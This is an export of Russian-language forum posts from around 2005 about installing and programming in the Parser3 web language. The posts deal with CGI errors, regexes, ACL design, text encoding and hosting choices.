[Mon Sep 19 21:13:01 2005] [error] [client 195.218.236.122] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: Shared object \"libm.so.2\" not found, required by \"parser3.cgi\"\
[Mon Sep 19 21:14:30 2005] [error] [client 195.218.236.122] Premature end of script headers: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 21:17:59 2005] [error] [client 195.218.236.122] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
[Mon Sep 19 21:18:05 2005] [error] [client 195.218.236.122] file permissions deny server execution: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: Shared object \"libm.so.2\" not found, required by \"parser3.cgi\"\
[Mon Sep 19 21:18:17 2005] [error] [client 195.218.236.122] Premature end of script headers: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: Shared object \"libm.so.2\" not found, required by \"parser3.cgi\"\
[Mon Sep 19 21:18:23 2005] [error] [client 195.218.236.122] Premature end of script headers: /home/igorkolb/www/site1/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: Shared object \"libm.so.2\" not found, required by \"parser3.cgi\"\
[Mon Sep 19 21:18:26 2005] [error] [client 195.218.236.122] Premature end of script headers: /home/igorkolb/www/site1/cgi-bin/parser3.cgi"
"44766","FreeBSD 5.4...\
Есть ли собранный?\
Программист уехал\
Надо сдать проект\
Написал все на парсере\
Если у кого-то есть Парсер работающий на 5.4 пвыложите ссылку или пришлите на ikenovodvorsky@gmail.com"
"44768","Думаю, у вас в /classes/shared/processes/process\
зачем-то написано ^parseBlock[] :)\
\
Не забывайте, это прототип и с пинка просто так не заработает. Попробуйте сперва разобраться в коде.\
 \
[quot]Данная статейка — не набор примеров, которые вы скопируете и у вас все заработает, даже более того: в нее специально внесены некоторые синтаксические ошибки, чтобы простое копирование методов не дало работоспособный результат. Сделано это для того, чтобы люди, думали до, а не вместо. Если вы поймете то, что написано в данной статье, то для вас не будет совершенно никаких проблем написать подобный код в любой момент без какой-либо шпаргалки.[/quot]\
%)"
"44770","Не могу понять в чем проблема, помогите разобраться\
\
на сайте лежит в корне index.html с каким то кодом, который что-то делает, и auto.p начинающийся со строк:\
\
@USE\
module.p\
....\
....\
\
\
захожу броузером - все работает нормально.\
\
захожу в shell, пишу:\
\
/путь_к_парсер/parser3.cgi www/index.html\
\
Выдает ошибку - module.p not found along MAIN:CLASS_PATH\
Варианты с путями перепробовал все, указание -f конфигурационный_файл не помогает. Получается что через веб работает, через shell - нет. Почему так?"
"44772","Вообщем хочу сделать так что бы когда заходишь в радел новости то сооьветственно подчеркивался пункт меню новости, но когда я допустим в новостях захожу одну из новостей подробней, пункт меню продолжался быть подчеркивающимся, но у меня это никак не получается, сижу в трех окнах разные доки по регулярным вырожениям и никак. Добился лиш того что я убераю все то, что после \"?\", тоесть если там у меня /news/?id=2, то останется /news/\
Так код выглядит\
^sections.menu{\
	^if($sections.uri eq ^request:uri.match[\\?.*][g]{}){\
	<a id=active href=$sections.uri>$sections.name</a>\
	}{\
	<a href=\"$sections.uri\">$sections.name</a>\
	}\
}\
Как будет выглядеть регулярное вырожение что бы она начанала уберать все то, что в \"request:uri\" после второго слэша?"
"44773","[code]\
^request:uri.match[^^(.+?)\\/(.+)^$][]{$match.1/}\
[/code]"
"44777","$CLASS_PATH[^table::create{path \
/path_to_mod\
}]\
где прописан путь до module.p\
\
Как мне кажется, если бы в $CLASS_PATH что то было бы неверно, то ошибка была бы всегда, а не только в шелле."
"44778","на будущее: планируйте свою жизнь, заранее готовьтесь к событиям."
"44779","и потом \
[code]\
../cgi/parser3.cgi index.html\
[/code]\
так будет работать. внимательнее прочитайте раздел о запуске с консоли."
"44781","почитайте и сделайте по аналогии"
"44783","на большее времени нет.\
найдите админа, чтобы \"поставил compat\", он поймёт.\
всё заработает на раз."
"44784","Можно каким то образом запереть парсер в каталоге, то есть запретить ему подниматься вверх по дереву с прочтением всех auto.p в том числе корневого?\
\
Допустим у меня есть модуль, который что-то делает, независимое от сайта, и запускается через крон. Не хотелось бы, чтобы при запуске с консоли парсер подгружал все лишнее, а только то, что описано в файле, который ему передали параметром. Есть такая возможность?"
"44789","parser читает от документа и вверх до document root включительно.\
\
вариант: положите ваш файл в /document/root/cron/сюда.html\
тогда будет читаться \"лишний\" файл /auto.p и только.\
\
в этом файле обычно тоже что-то полезное есть, так что лишним не будет."
"44790","Да, это бесплатный. Платный мне пока не интересен, поскольку неготов расставаться со своими кровными заради эксперементов, может кто подскажет как побороть или другой бесплатный хост. Неработает скорей всего из-за ихнего банера который они автоматически выводят на бесплатных хостах."
"44791","после отладки мы помещаем скрипт в отдельный каталог, вне веб-пространства.\
\
потому как нечего ему там делать.\
\
заодно ничего лишнего и не читается."
"44792","Тупо скопировал урок и... неработает! Пишет ненайден столбец uri, табличка сделана как надо, столбцы разделены табом, стороки переводом каретки. Поменял столбцы местами, все стало работать, что за глюк???"
"44794","Ни баннеров, ни ограничений, свой веб-сервер, свой сервер БД — красота! :-)"
"44796","Локальная машина для эксперементов подходит нормально, но все же хотелось бы лишней уверенности что и на реальном сервере все будет работать так как надо, и вчасности поэсперементировать с установкой. Потому как неизвестно пока какие подводные акмни ожидают, ве же это новый для меня язык."
"44797","Обычно, если все сделать по инструкции, на платном хостинге парсер запускается с первого раза."
"44798","и нет лишних пробелов в названии столбцов таблиц?"
"44799","Точно, табличку сам делал. Потом переделал два раза! Потом играться начал, удалил обрашение к столбцу uri заработало, потом поменял местами name и uri. После этого вроде работает нормально, очень странный глюк. Это только у меня так или у всех?"
"44802","Если у кого-то есть сборка FreeBSD 5.4 пожалуйста очень прошу пришлите или выложите ссылку\
буду безмерно благодарен..."
"44803","Необходимо было сделать чтобы строки таблицы имели немного разный html а именно чтобы через одну в тег div подставлялся class=\"bg_tr\"\
воспользовался offset\
К сожалению каждый раз выводятся две строки с одинаковым содержание и разным кодом. Привожу код:\
[code]\
$works[^table::sql{SELECT id, name from works order by id DESC}]\
^works.offset[]%2\
^if($works){\
^works.menu{\
<div>$work.name\
$photo[^table::sql{SELECT * from photo where works_id = $works.id}]\
 ^photo.menu{<a onmouseover=\"changeImages^('photo$photo.id','images/over/$photo.mini_image_over')^;return true\" onmouseout=\"changeImages('photo$photo.id','images/mini/$photo.mini_image')^;return true\" href=\"javascript:popupWindow('/photo.php?url=$photo.image')\"><img id=\"photo$photo.id\" src=\"images/mini/$photo.mini_image\" alt=\"\" name=\"photo$photo.id\" height=\"29\" class=\"im1\" width=\"46\" border=\"0\"></a>}</div>\
	 <div class=\"bg_tr\">$work.name ^photo.menu{<a onmouseover=\"changeImages('photo$photo.id','images/over/$photo.mini_image_over')^;return true\" onmouseout=\"changeImages('photo$photo.id','images/mini/$photo.mini_image')^;return true\" href=\"javascript:popupWindow('/photo.php?url=$photo.image')\"><img id=\"photo$photo.id\" src=\"images/mini/$photo.mini_image\" alt=\"\" name=\"photo$photo.id\" height=\"29\" class=\"im1\" width=\"46\" border=\"0\"></a>}</div>\
}\
}\
[/code]\
Если возможность как-то это исправить?"
"44805","Вы прочли невнимательно и ни разу не подумали."
"44806","надо синхронизировать 2 таблицы между MS SQL и MySQL\
можно как-то записать 2 строки подключения в auto.p и вызывать их отдельно?"
"44807","[code]^connect[$SQL.[b]ms[/b]sql-connect-string]{достали}\
^connect[$SQL.[b]my[/b]sql-connect-string]{положили}[/code]\
Нет?"
"44808","пока к мускулю цепляемся\
щаз буду тестить - что там с MS SQL"
"44809","Суть: Собираюсь на сайте выводить заглавие странички в качестве картинки, решил попробовать метод font в парсере. Для начала нужно создать свой файл шрифта.\
\
Вопрос: Какой порядок букв  должен быть в файле шрифте? Заглавие будет содержать первую большую букву, остальные - маленькие. Также интересуют куда ставить, английские буквы ну и цифры заодно, набудущие.\
\
P.S. был на http://narisoval.ru/download/fonts/ , скачал там файл шрифта, открыл его там порядок такой:\
\
строчные рус   строчные англ\
заглавные рус  заглавные англ\
цифры\
\
И мне также делать?"
"44810","где должны быть драйвера ODBC - на сайте или на серваке с MS SQL?\
(это 2 разные машины и стоят в разных сетях)"
"44811","если подобные вопросы будет задаваться вновь."
"44813","Спасибо, но непомогает:(\
Смотрю таблицу в phpMyAdmin - принудительно ставлю UTF-8, для страницы, вижу корректные тексты на русском, французкум, итальянском - со всеми их спец символами. Собственно у меня на страницу они так же выводятся.\
делаю  с той же таблице.\
$table[^table::sql{select desc80  from lang}]\
^table.save[/test.txt]\
Открываю файл нотепадом, вижу \"мусор\" и файл считается записанным в ASCII кодировке, поэтому там разумеется и не может быть спец символов. Русские тоже не отображаются.\
А все таки хочется выводить национальные тексты в мета-теги, может какие-нибудь еще идеи будут ?"
"44814","Из форума пропали мои сообщения! Че делать?"
"44816","Прекрасно работает Ваш механизм с правами, наследием прав и acl. \
Но возник такой вопрос. Может возникнуть ситуация, когда надо перекроить права в несколько другом свете. Сейчас все права - это access права, а если нужен deny? Т.е. есть объект, есть для него acl'и, они определяют что он может делать. А как добавить запрет на какое-то действие? Понимаю что можно подправить соответсвующий бит в acl, но это может быть не всегда удобно и потребует лишних действий. Мне кажется было бы удобно сделать еще одну таблицу с deny правами. Примерно так реализовано в NTFS. \
Это позволило бы без лишних вычислений отбирать доступ к каким-то фичам. Например форум, банится пользователь, в таблицу deny-acl добавляется соответствующая запись. Вычисление прав тогда надо будет считать вычитанием. И еще один плюс, эти запреты легко отобразить в \"карточке\" пользователя, вывести список всех текущих запретов и т.д.\
\
Как Вы смотрите на это? Или нет смысла заморачиваться?"
"44817","Есть страничка на Парсере. В ней:\
\
1. Шапка (заголовок), включающая функции (операторы) вывода разных тэгов типа keywords, таблиц css и т.п.\
2. Тулуп (тело), в котором помимо hellow, Word! задаются некоторые параметры для Шапки.\
3. Валенки (подвал), в котором подытоживается вся работа скрипта и вычисляются, в том числе, некоторые параметры для Шапки и Тулупа.\
\
Понятно, что \"в лоб\" все исполнять не получится - в п.1 у нас еще нет параметров, вычисляемых в п.2 и п.3. Надо как-то все сперва собрать в кучку, а потом запустить единым целым. Этакие \"отложенные функции\" должны получиться.\
\
Вопрос: правильно я понимаю, что ответ есть и находится он тут: http://www.parser.ru/forum/?id=27183 (Пример 2) ?"
"44822","$square[^image::create(100;100;0x00FF00)] \
^square.font[0123456789;digits.gif](0) \
__________________________________________________\
1)Создаешь переменную $имя_переменной с заданными тобой значениями.\
2)Потом вызываешь метод рисования ^имя_переменной.font[qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNMйцукенгшщзхъфывапролджэячсмитьбю1234567890;ТвойШРифт.gif]\
3)А потом создаешь файл, такой чтоб всё буквы уместились сверху вниз(!) причем в такой же последовательности как и вводил(!). И уже потом всё как в ДОКЕ написано... действуй!"
"44824","поставил на redhat\
parser3_1_4_redhat73_cgi_xml_static.tar.gz (от 16.09.05)\
..site.ru/cgi-bin/parser3.cgi прилежно выдает Parser/3.1.4 (compiled on i686-pc-linux-gnu)\
\
а с xml все равно не хочет работать!\
получаю ошибку  xdoc class is undefined\
(в остальном все работает)\
\
_test.html говорит: \"Создание объекта типа xdoc:\
Парсер-то надо ставить с поддержкой XML... Или не подключены XML библиотеки... Это вам не хухры-мухры...\"\
\
Где же взять эти хухры-мухры??? \
Ну или на худой конец библиотеки :)))\
(или они только для Windows?)"
"44829","http://www.opensea.tv/295/fonts.gif - шрифт.\
\
http://www.opensea.tv/295/forum.jpg - в действии\
\
Скрипт:\
[code]\
### Фигня v 1.0 ###\
# .htaccess в директории:\
#------------------------------------------\
#<IfModule mod_mime.c>\
#        AddType parsed-html .jpg\
#</IfModule>\
#------------------------------------------\
###########################################\
\
\
\
# screen.gif - прозрачный gif файл размеров 250x20\
$imageScreen[^image::load[screen.gif]]\
# fonts.gif - шрифт формата gif для надписей\
^imageScreen.font[абвгдежзиклмнопрстуфхцчшщъыьэюяabcdefghijklmnopqrstuvwxyz1234567890/()!?%.:,;fonts.gif](5)\
\
$stringIP[$env:REMOTE_ADDR]\
\
$UA[$env:HTTP_USER_AGENT]\
\
^if(^UA.pos[MSIE]>=0){$stringResult[ваш ip адрес: $stringIP, браузер: i.explorer]}\
^if(^UA.pos[Netscape]>=0){$stringResult[ваш ip адрес: $stringIP, браузер: netscape]}\
^if(^UA.pos[Opera]>=0){$stringResult[ваш ip адрес: $stringIP, браузер: opera]}\
^if(^UA.pos[Avant]>=0){$stringResult[ваш ip адрес: $stringIP, браузер: avant]}\
\
$stringLength(^imageScreen.length[$stringResult])\
\
^imageScreen.text(^eval(($imageScreen.width-$stringLength)/2);^eval(($imageScreen.height-3)/2))[$stringResult]\
\
$fileScreen[^imageScreen.gif[]]\
^fileScreen.save[binary;outside.gif]\
\
$response:body[\
        $.file[outside.gif]\
        $.name[ip.gif]\
]\
[/code]"
"44830","mysql://что-тут\
(пользователь и пароль неинтересны)"
"44831","(пошёл от нас грешных отдохнуть)"
"44832","можно и как там.\
можно и проще.\
зависит от целей.\
\
вариант:\
[code]\
#/auto.p\
@main[]\
$шапка[^шапкуОдеть[]]\
$валенки[^валенкиОбуть[]]\
$тулуп[^тулупНапялить[]]\
^наЛыжиПоставить[$шапка;$валенки;$тулуп]\
\
@наЛыжиПоставить[шапка;валенки;тулуп]\
<title>$шапка.head.title</title>\
<meta name=\"keywords\" content=\"$шапка.head.keywords $тулуп.head.keywords\">\
…\
[/code]\
\
чтобы не проверять наличие @шапки, имеет смысл определить все функции и в auto.p, перекрывать по необходимости.\
\
о стиле: старайтесь разбивать код на возможно максимально осмысленные кусочки.\
многие думают, что выделять в функцию что-то нужно только если функция вызвается в двух+ местах. это не так.\
если функции можно дать хорошее имя, и разделить кусочек кода на две [b]более[/b] воспринимаемые читателем части — не нужно экономить клавиатуру."
"44833","пришло на ум ещё:\
[code]\
#/auto.p\
@main[]\
$дом[^hash::create[]]\
^фундамент[]\
^вешалкаДляТулупа[]\
^крыша[]\
^нарисовать[]\
\
@нарисовать[]\
<title>$дом.title</title>\
<meta name=\"description\" content=\"$дом.description\">\
…\
$дом.текст\
[/code]"
"44834","[code]\
[paf@intranet parser3]$ ls -la /home/paf/parser3project/parser3/src/targets/cgi/parser3/parser3.cgi\
-rwxrwxr-x    1 paf      paf       2172484 Sep 16 15:35 /home/paf/parser3project/parser3/src/targets/cgi/parser3/parser3.cgi\
[paf@intranet htdocs]$ /home/paf/parser3project/parser3/src/targets/cgi/parser3/parser3.cgi _xdocCreate.html\
: /home/paf/parser3project/parser3/www/htdocs/_xdocCreate.html(1:8): 'create' Entity: line 1: error: Start tag expected, '<' not found\
[/code]"
"44835","Хм.\
Нулевые права на объект и есть тот самый искомый deny :) \
Забрать права (отключить наследование или убить запись в acl) imho проще чем писать еще куда-то, а познее еще и вычислять все это."
"44837","Добрый день, первый раз на форуме, т.к. до этого все получалось.\
Дано:\
Различные клиенты, которые по известной статистике покупают некоторый объем продукции(различный).\
Вопрос:\
Как с помщью инструментариев excel'я распределить клиентов между менеджерами предприятия в равных отношениях (т.е. общий объем отгрузки у каждого менеджера д.б. примерно одинаков) \
Заранее благодарен за совет."
"44839","При попытке загрузки с удаленного сервера выдается сабж. В то время как в браузере страница спокойно грузится. Есть возможность как-то этого избежать? Если есть, то как?\
$.any-status(1) не помогло"
"44841","там были изменения в этом месте."
"44845","Стояла 3.1.2. Обновился и все заработало. Большое спасибо!"
"44848","_test.html для проверки пойдет?\
\
[code][root@r32 root]# ls -la /usr/local/apache/cgi-bin/parser314xmlnew.cgi           \
-rwxrwxr-x    1 nobody   nobody    2172484 Sep 16 15:35 /usr/local/apache/cgi-bin/parser314xmlnew.cgi\
\
[root@r32 root]# /usr/local/apache/cgi-bin/parser314xmlnew.cgi /usr/local/apache/cgi-bin/_test.html\
: '/usr/local/apache/cgi-bin/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/usr/local/apache/cgi-bin/auto.p', fuid(99)!=euid(0) or fgid(99)!=egid(0) [parser.runtime]\
\
[root@r32 root]# ls -la /usr/local/apache/cgi-bin/_test.html\
-rwxr--r--    1 nobody   nobody      23551 Feb 28  2005 /usr/local/apache/cgi-bin/_test.html\
[code]"
"44849","Отчасти. Но если например надо запретить доступ к одному из объектов дерева? Скидывать для этого объекта права на 0, а на другие проставлять единички? Если они уже стояли то, конечно просто и ничего дополнительного делать не надо, одна простейшая операция, но если они стекли с родительского объекта? Да и показать этот выделенный запрет не получится."
"44851","(поиск по форуму — слева)"
"44855","Wonder, я сслучайно оставил скобку и не всё выдели, т.е. после ) шла }-скобка. Я всё исправил. Но ошибка повторялась, и вдруг я увидел ошибку в слове where... Странно ведь я его с MyAdmin скопировал... хе.. я всё понял! Опять не до конца скопировал вот и получился WHER, два дня маилси ничего не знал как делать, а вот и помогли мне люди добрые! Исправил теперь всё ОК.\
\
 Но вот единственное как мне сохранить файл в таком же расширении как и вводил пользователь? У меня стоит фильтрация на файл, т.е. проходят только изображения, но вот сохранить ни как не могу в правильном для файла формате."
"44856","Оказалось что большинство хостинг-провайдеров имеют новые ос.\
И версий парсера для них не найти.\
Только если собрать из исходных кодов.\
Можно конечно покупать хостиннг у тех кто работает с устаревшими ОС но это же глупо...\
А парсер сделан для упрощение, и сборка из исходных кодов под это понятие не подходит..."
"44858","www.peterhost.ru\
NAC\
Corbina"
"44859","www.ruweb.net"
"44865","Запустил:\
sudo -u nobody /usr/local/apache/cgi-bin/parser314xmlnew.cgi /usr/local/apache/cgi-bin/_test.html\
\
\
Вот что получил:\
Создание объекта типа xdoc:%26lt;br /%26gt;\
\
%26lt;pre%26gt;\
$document[^xdoc::create{%26lt;?xml version=%26quot;1.0%26quot; encoding=%26quot;WINDOWS-1251%26quot; ?%26gt;\
%26lt;document%26gt;\
%26lt;t attr=%26quot;привет%26quot; n=%26quot;123%26quot;/%26gt;\
%26lt;t attr=%26quot;пока%26quot; n=%26quot;234%26quot; n2=%26quot;xxx%26quot;/%26gt;\
%26lt;text%26gt;текст%26lt;/text%26gt;\
%26lt;/document%26gt;}]\
%26lt;/pre%26gt;\
\
Объект xdoc %26lt;b%26gt;успешно создан%26lt;/b%26gt;.%26lt;br /%26gt;\
\
Достаем все элементы %26lt;t /%26gt; $elements[^document.select[//t]] :%26lt;br /%26gt;\
\
Количество найденых элементов: 2%26lt;br /%26gt;\
Вывод найденых элементов с помощью foreach (порядок произвольный):%26lt;br %26gt;\
\
nodeName: 't', nodeType: '1', кол-во аттрибутов: '2', аттрибуты: n='123', attr='привет'\
%26lt;br /%26gt;\
nodeName: 't', nodeType: '1', кол-во аттрибутов: '3', аттрибуты: n2='xxx', n='234', attr='пока'"
"44866","А по сути: спасибо огромное за подсказки. А то я для своей задачи собирался пару стэков городить - для прекомпилированного кода и для параметров, и т.д. и т.п. А вроде не понадобится теперь ;)"
"44867","Оффтопик"
"44868","Немного оффтопик, то возможно кто-то сталкивался с решением подобной проблемы.\
\
Итак есть задача. Надо в произвольном тексте у всех входящий в него слов отпределить исходную словоформу (дожди > дождь, капал > капать и т.д.)\
В качестве исходных данных имеем сам текст, а так же таблицу регекспов, тех которые заменять и тех на которые заменять для восстановления словоформы. Создана на основе русских словарей от ispell\
\
Пример таблицы:\
'([^ЕЁЙЛНЬ])ЕН$',	'$1НЫЙ',\
'([^ЕЙЛНЬ])ЕН$',	'$1НЫЙ',\
'([ЕЁ])Н$',	'$1НЫЙ',\
'ЕН$',	'ЕНЫЙ',\
'ЕН$',	'ЙНЫЙ',\
'ЛОН$',	'ЛНЫЙ',\
'ЕН$',	'ЬНЫЙ'\
\
Понятно, что сначала текст разбивается на слова, удаляются все знаки препинания, союзы, предлоги т.п. Но вот как дальше что-то я никак не соображу.\
\
К примеру из слова 'дожди' сделать 'дождь' Т.е. как именно определить правило (из таблицы), которое надо использовать? \
Может кто решал подобную задачу? Или видел какие-нибудь утилиты для этого. Буду очень признателен за помощь."
"44869","берёте словарь из ispell, из словаря берёте все слова, среди прочих:\
* дождь \
и склоняете по всем правилам, по каким можно, получаете \
* дождя \
* дождю \
* дождей\
* ...\
\
одно из результирующих слов совпадает со словом из текста, значит базовая форма слова из текста = дождь.\
\
чтобы уменьшить количество мучений, конечно, стоит глянуть только на те склонения, которые могут дать слово в тексте."
"44870","Мой личный сайт живёт на этом хостинге. Откройте http://www.bougakov.com/cgi-bin/parser3/parser3.cgi и посмотрите вживую, как работает взятый из раздела \"скачать\" вариант.\
\
Выводы относительно hands.dll сделаете сами?"
"44871","Система «поднятия» привелегий очень удобная и правильная. Изначально ничего нет. Вы дали - появилось. Причем тут «а на другие проставлять единички»?"
"44872","Т.е. можно сделать некую таблицу-соответствие начального слова и всех его возможных форм для всех слов из словаря ispell. А потом просто делать выборку по слову из текста и исходя из этого определять его начальную форму.\
Я правильно понял?\
Правда такая таблица-соответствие получится весьма большой. Более миллиона записей."
"44873","http://morphology.ru/\
\
Ключевая фраза для гугла - «словарь Зализняка»"
"44874","потому и написал, что это в лоб.\
есть разные подходы. со стороны ispell это так.\
\
если делать на perl и таблицу соответствия положить в hashfile (там тоже есть, называется tied hash), то будет даже работать."
"44875","Если в парсере сериализация объектов и соответственно восстановление объектов? Если нет, то как получить все свойства объекта класса? В документации ничего не нашел про это..."
"44876","буквально — никак.\
\
однако ничего не мешает похранить переменные объекта в большом $fields[^hash::create[]]\
и записывать/считывать его в любом виде.\
\
нами задумывается, что основное хранилище объектов = SQL сервер.\
\
вариант: каждый объект сам знает свои свойства и умеет записывать/считывать себя извне.\
\
вариант: для каждого класса объектов есть отдельный дополнительный помощник, который умеет быстро доставать (искать) объекты пакетно (много за раз) и умеет сохранять их."
"44877","Я не оспариваю то, что она правильная и удобная. Но мне кажется, что для некоторых, специфических случаев ее можно сделать более универсальной. В большинстве случаев это не понадобится, но в некоторых случаях вполне, как мне кажется, может. На это тему и хотел спросить мнение профессионалов.\
Пример. Есть родительский объект, и у него сотни детей. По умолчанию, даю всем права read (1) на папу и irf'ом пропускаю слив этих прав на всех детей. В таблице acl минимум одна запись - Объект - группа. Может быть и больше, но не так много как могло было бы быть, раздавая права на каждого ребенка. \
Теперь надо одному или нескольким юзерам запретить read (1) одного из детей. Я вижу тут два варианта. 1. На объект убирать первый (read) бит из irf. И назначать на него права отдельно каждому пользователю кроме несчастного. Но.. их надо сначала вычислить для папы.. 2. снять права с папы и по отдельности прописать их для всех детей и всех пользователей кроме несчастного. Это породит много записей. \
То же в обратную сторону.\
Есть еще один вариант, выкинуть пользователя из группы, но это тоже не будет проще, ибо к остальным объектам доступ он должен сохранить.\
\
А вот так мне видится более элегантное решение - запрещаем чтение ребенка. одна запись в таблицу deny. Больше ничего. Потом обычным способом считаем права для пользователя на объект, учитываем все наследия, группы, овнеров и т.д. Все это есть в Мишином классе. Затем точно так же считаем запретные права для него же. Результат получаем как $access_rights & ~$deny_rights. \
Пересчитывать права для других пользователей и объектов не надо. \
Еще в плюс, можно простым запросом вытягивать списки запретов в разных вариациях и откатить запрет можно одним делитом. К тому же запретных прав будет однозначно меньше чем обычных, и если закешировать запросы, на быстродействии это не должно сильно сказаться.\
Или я все усложняю и есть решение еще проще?"
"44878","Господа!\
Есть сайт, с внедренной технологией PARSER который успешно функционирует под управление RedHat Linux Server. Возникла жизненная необходимость перенести данный сайт со всеми настройками на машинку под управлением Windows 2003 Server.\
К сожалению, нет времени и желание осваивать данную технологию.\
В связи с этим вопрос?\
Сколько будет стоить подобная миграция?\
Длительность миграции?"
"44880","Код платформеннонезависим (поправите основной auto.p, чтобы пользовался не *.so a *.dll и не sendmail, а smtp). Проблем на порядк меньше, чем при переносе perl-решения\
\
Проблемы могут возникнуть только при смене SQL-сервера (MySQL на MSSQL, например) - если вы заранее не подстелили соломки в виде http://www.parser.ru/examples/sql/ , например."
"44881","Хорошо, тогда такой вопрос: можно ли получить какое-нибудь строковое представление хэша произвольной вложенности?\
Допустим нужно сохранить в файл произвольный хэш. Как я себе это представляю, для этого нужно как-то из него сделать такую строку, из которой его можно потом восстановить.\
Пробовал использовать hashfile, но видимо он сохраняет только одноуровневые хэши."
"44882","это невозможно.\
Вы расскажите зачем вам это нужно, и вам, возможно, помогут."
"44883","Никогда не сталкивался с такими запросами. Скорее всего, это издержки архитектуры проекта, и вы позднее отгребёте проблем.\
\
Решение для вас очень просто: в исходном auth права пользователя перекрывают права групп. Замените проверку $level_user_acl на число проверкой на существование (def).\
Для закрытия пользователю права на объект пишите в табличку для пользователя нуль (0)."
"44884","#!/bin/sh\
for i in `ls *.zip`\
do\
    unzip ${i} -d ${i}.unzipped\
done"
"44885","строка простая, \
mysql://xxx:xxxlocalhost/xx\
пробывал явно в ней указаывать кодировку UTF-8, результат в файле визуально отличается (сейчас пытаюсь понять почему это) но опять же файл записан в ANSII, а не в юникоде.."
"44886","встроенного в систему я не делал, у каждого своё видение [i]удобного[/i] формата."
"44887","А можно хоть какой-нибудь пример увидеть функции, которая делает строковое представление хэша и функции, которая восстанавливает из строки хэш. И что будет если в хэше содержатся объекты?"
"44888","1. в какой кодировке были данные до того, как их поместили в базу (ваши воспоминания=?)\
2. в какой кодировке они в базе сейчас (mysqldump и посмотрите не результирующий файл. выясните заодно, нет ли там разнородных кодировок)"
"44889","кто-то уже приводил пример вывода hashtime.\
\
что до пользовательских объектов: уже писал."
"44891","Мои сайты до этого тоже там нормально жили, как на новом установиться не знаю. Но факт остается фактом -- версии под 5.x нет"
"44893","Я правильно понимаю, что в Парсере нет обратного преобразования из \"безопасного\" вида в \"опасный\"?\
\
Такой код приемлем для решения подобной задачи?\
\
:\
\
[code]\
$text[a &lt^; b, b &gt^; c, &quot^;фраза в кавычках&quot^; и знак &amp^;.]\
$result[^text.replace[^table::create{from        to\
&lt^;        <\
&gt^;        >\
&quot^;        \"\
&amp^;        &}\
]]\
[/code]"
"44894","Tainting не делает замен символов :)\
Если текст получен путем tainting`а, то его можно просто untaint-ить."
"44895","Из внешнего источника получен такой код:\
[code]\
a &lt; b, b &gt; c, &quot;фраза в кавычках&quot; и знак &amp;.\
[/code]\
\
Что надо написать дабы в переменной $text появилось:\
\
[code]\
a < b, b > c, \"фраза в кавычках\" и знак &.\
[/code]\
\
?"
"44897","[code]\
$txt[text <tag name=tag> text tag </tag> tag]\
^txt.match[tag][gi]{<b>tag</b>}\
[/code]\
в результате слово \"tag\" будет найдено четыре раза, а мне необходимо найти только тот что в центре текста исключая хтмл теги."
"44898","К сожелению Вы неответили на главные вопросы.\
Стоимость миграции, и сколько по времени это займет."
"44899","но ход мыслей в высшей степени разумен :)"
"44901","[code]\
исходная строка - $txt[text <tag name=tag> text tag </tag> tag]\
$txt[^txt.match[tag][gi]{<b>tag</b>}]\
\
итоговая строка - text <tag name=tag> text <b>tag</b> </tag> tag\
[/code]\
\
в результате хтмл теги должны быть сохранены в нетронутом виде."
"44902","Если я правильно понимаю, вы желаете найти товарища, который перенесет вам сайт? Тогда формулируйте вопрос именно так. Средней стоимости и явно прописанных сроков для подобных задач не бывает, поскольку задача не ежедневная.\
\
[b]Теоретически[/b] тут один день работы специалиста."
"44903","Господа!\
Пожалуйста назавите цифру.\
Мне нужно принять решение."
"44905","Вот решил браться за пробелы в знаниях.\
Кто что читал, что показалось полезным?\
\
Интересуют темы:\
1. ООП, вообще и разработка веб-систем в частности.\
2. MySQL, подробно.\
3. Полезности какие-может....\
\
Всем спасибо, надеюсь на дельные советы."
"44910","Насколько я вижу, PARSER - локальная разработка студии Артемия Лебедева, которая так и не вышла за пределы студии. Да, есть parser.ru, на форуме публикуются сообщения... Но вот реальных проектов никто на нем почему-то не делает.\
\
Отсюда возникает вопрос: а имеет ли Парсер вообще смысл как веб-технология? Зачем, если есть PHP (который не сложнее), Perl (мастодонт) и такие монстры, как Java и .NET (до которых Парсеру никогда не дорасти)? \"Просто так\" или \"для понтов\" студии Лебедева?\
\
OFF: просто интересно стало, надеюсь, никого не обидел."
"44914","Не извиняйтесь: аноним в принципе никого обидеть не способен ;)"
"44915","Я ж не изучать предмет собираюсь, а лезть \"в лес, да по ягодицы\", то бишь у глубь.\
Электронные справочники не нужны - их полно.\
\
Добротные бумажные книжки хочется зачитать.\
Так, чтоб с пользой для головы и её костного мозга."
"44916","даже при тупом копировании из раздела \"примеры\"\
хостинг - masterhost\
ошибок ни parser ни сервер не выдает\
показывается сообщение что письмо ушло...но ничего не приходит :("
"44918","[code]\
@test[code]\
^process{^$result[$code]}\
[/code]\
\
Такая конструкция не работает. В документации про process увидел \"контекст вызова не включает локальные переменные и параметры вызывающего метода!\".\
Каким образом тогда можно осуществить process внутри метода и как-нибудь возвратить результат?"
"44919","Да просто интересно, каковы цели существования данного проекта на фоне тех же PHP, Java и .NET (даже сама студия Лебедева в Imprimatur II использует .NET, если я не ошибаюсь)? Не кажется ли создателям Парсера, что они изобретают велосипед?"
"44920","А кто Вам сказал, что кроме Студии на Парсере никто больших проектов не делает. А ещё хочу сказать, что для создания большого проекта недостаточно одной технологии, даже если это PHP =)"
"44921","Мне Parser3 показался более простым в обучении, чем РНР. А сколько людей хотели бы использовать хотяб не которые возможности за такую легкость в обучении и програмировании. И  я бы хотел сказать Огромное спасибо всем тем кто трудился над этим языком. Кстати и дока в отличии от других хорошо построена."
"44922","А Вас не удивляет разнообразие моделей и марок автомобилей? И как выглядит, например, Мицубиси на фоне Ситроена? :)"
"44923","Что-то не понял проблемы. Можно привезти кода парочку функций - вызывающей и вызываемой?"
"44927","Раздел [url=\"http://www.parser.ru/powered_by_parser/\"]в действии[/url] не смотрели?.. Следует учитывать, что далеко не все авторы проектов, написанных с использованием Parser`а написали письмо с просьбой добавить их в этот список."
"44928","[code]\
@test[code]\
